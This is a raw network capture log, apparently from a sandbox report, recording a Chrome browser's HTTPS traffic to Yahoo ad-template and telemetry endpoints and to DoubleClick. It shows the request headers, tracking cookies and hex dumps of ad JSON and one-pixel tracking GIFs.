A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gads=ID=72ad751c003940da:T=1704929235:RT=1704929235:S=ALNI_MalpjwKx85WvpmMA87m6GhgvBu-jA; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:17 UTC	801	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" set-cookie: __gads=COOKIECLEANER; domain=noa.yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.4	50064	74.6.143.22	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	795	OUT	GET /api/v2/template?spaceid=2023538075&adPositions=MAST&pageContext=%7B%22bucket%22%3A%5B%22drop_heimdall_homepage_control_bucket%22%2C%22MimicProviderListv2-copy%22%2C%22seamless%22%5D%2C%22lu%22%3A%220%22%2C%22pt%22%3A%22home%22%2C%22site%22%3A%22fp%22%7D HTTP/1.1 Host: nts.media.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	548	IN	HTTP/1.1 200 OK content-type: application/json;charset=utf-8 access-control-allow-origin: https://www.yahoo.com y-rid: 4ovgfqtipu9ul x-request-id: 632640c3-89d8-4fe1-9ee4-d1b24cce954e vary: Accept-Encoding, User-Agent x-envoy-upstream-service-time: 198 date: Wed, 10 Jan 2024 23:27:17 GMT server: ATS x-envoy-decorator-operation: monetization-templates-service--mtls-fp-production-bf1.analytics-monetization--k8s.svc.yahoo.local:4080/* Age: 0 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 61 64 73 22 3a 5b 7b 22 61 64 50 6f 73 69 74 69 6f 6e 22 3a 22 4d 41 53 54 22 2c 22 61 64 53 69 7a 65 22 3a 22 39 37 30 78 32 35 30 22 2c 22 70 72 65 54 61 70 41 64 46 6f 72 6d 61 74 22 3a 22 54 45 58 54 22 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 3c 21 2d 2d 20 4d 41 53 54 20 74 65 6d 70 6c 61 74 65 20 2d 2d 3e 5c 6e 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 5c 22 73 63 72 65 65 6e 5c 22 3e 5c 6e 20 20 20 20 2e 61 63 74 2d 73 61 6e 73 2d 73 65 6c 65 63 74 7b 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 74 6f 75 63 68 2d 63 61 6c 6c 6f 75 74 3a 20 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 2d 6b 68 74 6d 6c 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 Data Ascii: 8000{"ads":[{"adPosition":"MAST","adSize":"970x250","preTapAdFormat":"TEXT","template":"... MAST template -->\n<style media=\"screen\">\n .act-sans-select{cursor: pointer;-webkit-touch-callout: none;-webkit-user-select: none;-khtml-user-select: none
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 70 78 20 30 70 78 20 30 70 78 20 30 70 78 3b 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 20 34 34 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 32 70 78 3b 7d 5c 6e 20 20 20 20 23 63 74 61 2d 74 65 78 74 20 7b 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 33 32 70 78 3b 7d 5c 6e 20 20 20 20 23 61 63 74 2d 66 6f 6f 74 65 72 20 7b 72 69 67 68 74 3a 20 33 35 70 78 3b 62 6f 74 74 6f 6d 3a 20 31 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 66 6f 6e 74 3a 20 31 32 70 78 20 5c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 Data Ascii: px 0px 0px 0px;display: inline-block;height: 44px;border-radius: 22px;}\n #cta-text {display: inline-block;margin-top: 12px;padding-left: 32px;padding-right: 32px;}\n #act-footer {right: 35px;bottom: 12px;position: absolute;font: 12px \"Helvetica Ne
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 35 30 25 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 5c 22 3e 3c 2f 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 73 74 79 6c 65 3d 5c 22 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 20 6d 61 72 67 69 6e 3a 20 30 70 78 20 35 70 78 20 30 70 78 20 30 70 78 3b 20 74 6f 70 3a 20 35 30 25 3b 20 72 69 67 68 74 3a 20 32 30 70 78 3b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 30 25 2c 20 2d 35 30 25 29 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 5c 22 3e 5c 6e 20 Data Ascii: 50%; position: absolute; transform: translate(-50%, -50%);\"></div>\n </div>\n <p style=\"user-select: none; margin: 0px 5px 0px 0px; top: 50%; right: 20px; transform: translate(0%, -50%); position: absolute; font-weight: bold;\">\n
2024-01-10 23:27:17 UTC	146	IN	Data Raw: 78 6f 46 30 52 30 51 72 4d 6c 57 74 38 64 6b 68 54 2d 78 66 57 54 70 42 50 5a 31 51 67 69 63 56 72 2d 75 55 56 6b 4c 62 66 72 37 43 66 6d 50 4e 71 4f 2d 32 66 43 53 4a 4b 72 74 76 63 37 32 67 71 6d 51 51 64 4a 62 62 47 37 77 35 48 4b 55 5f 70 4c 6f 66 67 73 30 75 5f 33 61 6e 64 59 45 6e 75 56 37 41 7a 77 4f 49 70 54 56 4a 33 77 38 4f 52 70 6b 4e 50 49 70 4b 75 65 31 6c 4a 32 4f 33 42 4e 66 74 50 51 6f 70 67 30 41 31 5a 65 65 2d 32 54 Data Ascii: xoF0R0QrMlWt8dkhT-xfWTpBPZ1QgicVr-uUVkLbfr7CfmPNqO-2fCSJKrtvc72gqmQQdJbbG7w5HKU_pLofgs0u_3andYEnuV7AzwOIpTVJ3w8ORpkNPIpKue1lJ2O3BNftPQopg0A1Zee-2T
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 70 39 39 76 78 64 54 32 4d 62 36 6d 4b 46 64 34 45 59 41 50 53 65 2d 54 34 58 62 45 47 4a 6a 79 7a 42 6d 65 4c 66 54 71 36 75 35 6a 37 64 4d 68 6f 71 49 4e 35 6c 54 44 47 61 48 50 44 75 66 6b 4a 4c 67 56 77 30 30 6b 4a 35 70 4f 50 56 7a 59 4e 47 6f 77 78 77 49 44 5f 39 4f 2d 35 63 4c 30 53 63 69 55 57 37 6d 33 66 4e 74 4d 6d 6d 63 67 35 66 4a 52 6b 51 69 70 59 2d 37 36 74 5a 30 79 69 57 65 4f 55 64 47 63 71 30 68 43 59 68 61 67 67 4f 47 6c 55 49 6e 6e 71 75 63 57 73 77 50 48 46 74 79 48 57 49 54 67 34 62 5a 2d 56 42 74 75 46 5a 4e 41 38 59 6a 4b 55 7a 63 55 79 46 49 4c 35 31 55 50 47 65 4d 41 61 36 34 6e 31 55 49 5f 70 6a 52 4a 59 55 74 32 44 64 4c 44 55 6e 38 71 47 74 67 66 4b 53 72 79 57 34 44 67 55 42 41 6e 4f 31 42 42 75 75 38 53 4b 52 6a 4d 78 47 6a Data Ascii: p99vxdT2Mb6mKFd4EYAPSe-T4XbEGJjyzBmeLfTq6u5j7dMhoqIN5lTDGaHPDufkJLgVw00kJ5pOPVzYNGowxwID_9O-5cL0SciUW7m3fNtMmmcg5fJRkQipY-76tZ0yiWeOUdGcq0hCYhaggOGlUInnqucWswPHFtyHWITg4bZ-VBtuFZNA8YjKUzcUyFIL51UPGeMAa64n1UI_pjRJYUt2DdLDUn8qGtgfKSryW4DgUBAnO1BBuu8SKRjMxGj
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 70 4e 5f 57 31 39 37 30 34 48 66 7a 4f 46 4f 4f 36 74 69 65 63 33 37 53 73 47 30 31 63 4c 75 56 62 41 77 41 6f 6e 31 45 57 4f 5f 68 43 44 44 72 64 72 32 56 6d 33 41 65 6c 4c 44 72 47 41 57 70 48 55 50 75 66 32 62 42 74 6d 73 77 66 53 49 53 4c 6d 34 74 36 61 50 4e 65 70 49 5f 69 45 6a 54 69 52 41 37 61 52 58 67 35 38 62 35 79 78 54 6e 51 48 77 62 7a 38 43 69 7a 6d 34 36 4e 48 47 6f 4a 63 48 50 54 70 6e 46 71 39 4f 72 34 4d 57 73 4c 71 34 64 64 34 65 34 6b 69 6f 50 37 74 4b 47 52 33 31 71 64 42 66 49 58 45 6e 39 33 76 44 78 6c 67 36 58 65 58 46 35 6f 68 62 42 70 5f 56 68 44 4c 4a 51 4f 48 50 33 4f 74 39 50 42 4c 6a 5f 42 73 57 79 53 50 62 78 63 61 62 53 65 6a 4f 6d 41 55 45 6d 53 55 56 45 57 36 70 6f 44 56 69 52 63 42 47 6e 48 6f 5f 62 41 75 36 4e 58 67 6b Data Ascii: pN_W19704HfzOFOO6tiec37SsG01cLuVbAwAon1EWO_hCDDrdr2Vm3AelLDrGAWpHUPuf2bBtmswfSISLm4t6aPNepI_iEjTiRA7aRXg58b5yxTnQHwbz8Cizm46NHGoJcHPTpnFq9Or4MWsLq4dd4e4kioP7tKGR31qdBfIXEn93vDxlg6XeXF5ohbBp_VhDLJQOHP3Ot9PBLj_BsWySPbxcabSejOmAUEmSUVEW6poDViRcBGnHo_bAu6NXgk
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 30 36 39 4c 35 48 57 55 35 34 74 33 47 68 4c 6b 65 70 77 30 5a 4f 69 74 32 36 37 70 37 51 54 64 4b 77 37 66 74 6d 7a 67 52 32 30 74 31 68 43 44 61 78 37 6d 5f 31 43 70 6c 4b 4b 33 67 37 59 65 4e 78 77 57 57 6c 49 58 73 6a 67 2d 6c 66 41 34 68 31 67 4d 30 52 52 59 36 47 75 72 5a 50 71 72 38 67 33 35 77 43 34 65 53 4b 64 44 4a 51 75 65 59 62 31 6e 6e 55 32 59 78 75 79 6b 44 45 36 6e 57 38 4a 67 56 6f 48 4e 2d 39 32 4a 35 72 6d 76 64 68 75 5a 4a 4b 76 56 47 57 77 62 4f 64 62 58 41 63 4f 35 33 33 6b 4e 46 74 56 6e 54 64 75 44 41 45 57 34 48 73 6f 5f 63 36 30 30 64 63 31 41 58 4a 38 4b 58 68 52 78 38 39 65 6f 38 68 65 34 37 72 6d 55 5f 4e 35 6a 51 63 6d 74 50 7a 6c 6c 59 76 6e 31 5a 30 4e 34 36 61 36 5f 42 4b 4d 74 6c 58 7a 4b 61 68 6c 34 6e 52 55 6d 30 56 35 Data Ascii: 069L5HWU54t3GhLkepw0ZOit267p7QTdKw7ftmzgR20t1hCDax7m_1CplKK3g7YeNxwWWlIXsjg-lfA4h1gM0RRY6GurZPqr8g35wC4eSKdDJQueYb1nnU2YxuykDE6nW8JgVoHN-92J5rmvdhuZJKvVGWwbOdbXAcO533kNFtVnTduDAEW4Hso_c600dc1AXJ8KXhRx89eo8he47rmU_N5jQcmtPzllYvn1Z0N46a6_BKMtlXzKahl4nRUm0V5
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 33 30 32 25 37 45 25 37 45 47 5a 2d 6b 4a 2d 54 5f 38 70 7a 39 45 63 64 6c 75 6a 6b 6e 38 36 4f 78 71 41 4c 71 6d 38 62 5f 48 79 39 36 55 54 56 35 46 39 30 4e 38 54 4a 57 51 41 7a 45 61 58 37 54 32 58 56 4a 5a 36 6a 57 53 58 4e 35 5a 74 6f 31 66 50 6c 71 71 57 71 34 76 48 5f 6a 32 39 70 71 53 43 4d 37 38 2d 45 51 64 4f 52 30 56 59 69 6b 55 65 4a 46 31 75 44 43 55 6c 32 65 72 4b 75 68 4d 38 52 41 30 30 53 66 30 4a 46 57 69 30 66 32 44 73 72 36 77 76 48 4f 49 62 4c 65 2d 58 4c 79 35 4c 50 6f 53 46 4b 36 59 58 41 6d 41 55 68 51 50 73 6a 61 54 66 69 64 4e 46 4c 77 32 4e 6b 4e 75 74 66 74 50 57 32 38 76 4c 48 6e 57 65 63 42 76 39 55 51 67 32 57 67 77 43 47 30 37 4e 6b 55 71 56 6f 77 61 78 43 4a 75 59 41 65 79 4e 6c 66 50 69 30 26 69 74 65 6d 2e 74 79 70 65 3d Data Ascii: 302%7E%7EGZ-kJ-T_8pz9Ecdlujkn86OxqALqm8b_Hy96UTV5F90N8TJWQAzEaX7T2XVJZ6jWSXN5Zto1fPlqqWq4vH_j29pqSCM78-EQdOR0VYikUeJF1uDCUl2erKuhM8RA00Sf0JFWi0f2Dsr6wvHOIbLe-XLy5LPoSFK6YXAmAUhQPsjaTfidNFLw2NkNutftPW28vLHnWecBv9UQg2WgwCG07NkUqVowaxCJuYAeyNlfPi0&item.type=
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 6a 69 41 48 4c 6d 5a 44 53 41 5a 41 42 47 4a 67 42 71 62 58 4f 72 63 38 78 6f 67 45 45 55 30 4e 50 54 71 6f 42 43 6c 4e 44 54 30 35 66 57 55 46 49 54 30 2d 79 41 51 70 54 51 30 39 4f 58 31 6c 42 53 45 39 50 75 67 45 45 61 47 39 74 5a 63 41 42 77 65 73 44 79 67 45 43 64 58 4d 26 76 69 70 65 72 41 70 70 54 79 70 65 3d 53 43 4f 4e 5c 22 2c 5c 6e 20 20 20 20 5c 22 74 61 67 5c 22 3a 20 5c 22 7b 5c 5c 5c 22 61 64 43 68 6f 69 63 65 73 55 72 6c 5c 5c 5c 22 3a 5c 5c 5c 22 68 74 74 70 73 3a 2f 2f 70 6f 70 75 70 2e 74 61 62 6f 6f 6c 61 2e 63 6f 6d 2f 65 6e 2f 5c 5c 5c 22 2c 5c 5c 5c 22 61 64 5f 66 65 65 64 62 61 63 6b 5f 62 65 61 63 6f 6e 5c 5c 5c 22 3a 5c 5c 5c 22 68 74 74 70 73 3a 2f 2f 62 65 61 70 2d 62 63 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 61 66 2f 75 73 3f 62 76 Data Ascii: jiAHLmZDSAZABGJgBqbXOrc8xogEEU0NPTqoBClNDT05fWUFIT0-yAQpTQ09OX1lBSE9PugEEaG9tZcABwesDygECdXM&viperAppType=SCON\",\n \"tag\": \"{\\\"adChoicesUrl\\\":\\\"https://popup.taboola.com/en/\\\",\\\"ad_feedback_beacon\\\":\\\"https://beap-bc.yahoo.com/af/us?bv
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 6e 4f 4b 33 79 41 49 58 37 49 64 74 79 68 6f 4d 72 37 63 73 6c 4a 47 72 64 58 55 74 74 53 7a 33 37 6b 63 77 33 6a 55 6b 56 48 54 34 79 65 77 5f 4e 35 75 67 48 78 4a 7a 44 66 54 6a 37 36 2d 41 77 54 51 6e 79 67 34 65 35 45 65 4b 74 4b 46 67 4f 53 32 63 37 6b 7a 38 42 32 44 56 30 4a 33 4e 78 64 78 6f 7a 79 71 48 39 46 62 69 66 6e 41 5f 78 77 64 64 70 76 6e 5f 50 48 52 72 51 39 5a 39 33 76 2d 45 57 36 51 51 62 47 54 46 31 4b 43 6b 37 50 4e 34 62 53 70 57 63 31 43 72 52 2d 5a 33 64 58 44 67 48 43 6b 44 6b 56 42 33 79 4c 63 6f 4c 48 74 4b 53 5f 4e 65 76 72 33 6c 4e 38 38 71 37 6b 4a 54 68 4b 35 56 43 79 41 59 54 78 58 6c 4e 30 65 44 71 50 32 4b 68 4e 71 6f 6c 78 54 4a 55 47 69 50 66 37 6c 30 33 4a 56 65 4f 56 67 66 61 71 4b 42 4f 33 70 37 32 33 6f 45 58 56 62 Data Ascii: nOK3yAIX7IdtyhoMr7cslJGrdXUttSz37kcw3jUkVHT4yew_N5ugHxJzDfTj76-AwTQnyg4e5EeKtKFgOS2c7kz8B2DV0J3NxdxozyqH9FbifnA_xwddpvn_PHRrQ9Z93v-EW6QQbGTF1KCk7PN4bSpWc1CrR-Z3dXDgHCkDkVB3yLcoLHtKS_Nevr3lN88q7kJThK5VCyAYTxXlN0eDqP2KhNqolxTJUGiPf7l03JVeOVgfaqKBO3p723oEXVb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.4	50060	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	1659	OUT	POST /p?s=2023538075&t=1704929236452&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamMetric&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&ads_failure_total=1&ads_fetch_total=0&ads_refresh_total=0&ads_slot_right_failure=0&ads_slot_right_total=0&ads_slot_top_failure=1&ads_slot_top_total=1 HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gads=ID=72ad751c003940da:T=1704929235:RT=1704929235:S=ALNI_MalpjwKx85WvpmMA87m6GhgvBu-jA; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:17 UTC	801	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" set-cookie: __gads=COOKIECLEANER; domain=noa.yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.4	50063	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	1733	OUT	POST /p?s=2023538075&t=1704929236452&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-MAST-iframe&isRefresh=false&loc=top_center&renderCount=0&status=failed HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gads=ID=72ad751c003940da:T=1704929235:RT=1704929235:S=ALNI_MalpjwKx85WvpmMA87m6GhgvBu-jA; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:17 UTC	801	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" set-cookie: __gads=COOKIECLEANER; domain=noa.yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.4	50067	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	1395	OUT	GET /pcs/view?xai=AKAOjsuym782MWPdiKFwJckasVqUeeF5zFzt8rVCU47s1YAjifEpbIgmuJBFsIhEtr9GrcqnGVAaridz3JM5bcxK0Hk94ggudYZBGCtylhhXXhu_hs8UC3RzkI77EJCl6ttywzR8QPx4yeVJLswUzlfgNzOlUtTr6AXdh7jbuymxkDyQonOhLk6gdt6WMWBRPVjJe03GsGd_C7SQkRXNXo0rdB8JuWY_mhkC_buMTeXba09fxVvMrDGKuoxD-rxRkkMFIzY-kf3Ca6ebQ6iZogbcBRCeG5aOfPtWwUb7RlhlWI_NRDhiAT4lortn9uInut3gBdkXtU5zq92OdPcC5kEx7FGeGwB4Lfg6Cc7xCF3nXTNg11t01zbSrUuv_tTrJ-YUdzc-T3odAMwSW6lEzii3msjvtA&sai=AMfl-YTFcRS98GsOeCowYPdqg_mT-gFxLCWUygYSFvY_R9q8GzzWndhRFelFqN25WOZ3a4IAYZ3KoOb8tFM9nJs8g9igCCfK4UcNIWooB1VR9__2-4-gYx9XoCID1d7woaRqjep9nl_LPyR1LhwBTpSxi7Q&sig=Cg0ArKJSzJHhorAfqU1EEAE&uach_m=%5BUACH%5D&adurl= HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
